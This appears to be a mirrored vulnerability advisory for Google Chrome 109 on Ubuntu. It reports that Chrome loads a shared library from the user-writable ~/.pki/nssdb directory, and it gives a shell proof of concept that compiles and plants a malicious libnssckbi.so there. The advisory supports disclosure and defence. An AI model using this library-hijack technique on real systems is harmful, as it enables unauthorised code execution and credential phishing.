Lucene search
K

Google Chrome 109.0.5414.74 Unsafe Library Load

🗓️ 27 Mar 2023 00:00:00Reported by Rafay Baloch, Muhammad SamakType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 184 Views

Google Chrome 109.0.5414.74 Unsafe Library Loa

Code
`#Vulnerability: Google Chrome code execution via missing lib file (Ubuntu)  
Product: Google Chrome  
Discovered by: Rafay Baloch and Muhammad Samak  
#Version: 109.0.5414.74  
#Impact: Moderate  
#Company: Cyber Citadel  
#Website: https://www.cybercitadel.com  
#Tested-on : Ubuntu 22.04.1  
  
*Description*  
  
Google chrome attempts to load the 'libssckbi.so' file from a user-writable location.  
PATH: /home/$username/.pki/nssdb/libnssckbi.so  
Since the Shared Library 'ibnssckbi.so' specified path is writeable.  
It is possible to achieve the Code Execution by placing the malicious file with   
the name `libnssckbi.so` in the specified path.  
  
  
  
*exploit*  
  
Following is the POC that could be used to reproduce the issue:  
  
echo "\n\t\t\tGoogle-Chrome Shared Library Code Execution..."  
echo "[*] Checking /.pki/nssdb PATH"  
if [ -d "/home/haalim/.pki/nssdb" ]  
then  
  
echo "[+] Directory Exists..."  
if [ -w "/home/haalim/.pki/nssdb" ]  
then  
echo "[+] Directory is writable..."  
  
echo "[+] Directory is writable..."  
echo "[+] Generating malicious File libnssckbi.so ..."  
echo "#define _GNU_SOURCE" > /home/haalim/.pki/nssdb/exploit.c  
echo "#include <unistd.h>" >> /home/haalim/.pki/nssdb/exploit.c  
echo "#include <stdio.h>" >> /home/haalim/.pki/nssdb/exploit.c  
echo "#include <stdlib.h>" >> /home/haalim/.pki/nssdb/exploit.c  
echo "void f() {" >> /home/haalim/.pki/nssdb/exploit.c  
echo 'printf("Code Executed............ TMGM :)\n");' >> /home/haalim/.pki/nssdb/exploit.c  
echo "}" >> /home/haalim/.pki/nssdb/exploit.c  
gcc -c -Wall -Werror -fpic /home/haalim/.pki/nssdb/exploit.c -o /home/haalim/.pki/nssdb/exploit.o   
gcc -shared -o /home/haalim/.pki/nssdb/libnssckbi.so -Wl,-init,f /home/haalim/.pki/nssdb/exploit.o   
  
  
fi  
  
fi  
  
Upon closing the browser windows, the application executes the malicious code  
  
  
*Impact*  
  
The attacker can use this behavior to bypass the application whitelisting rules.  
This behavior can also lead to DoS attacks.  
An attacker can trick a victim into supplying credentials by creating a fake prompt.  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation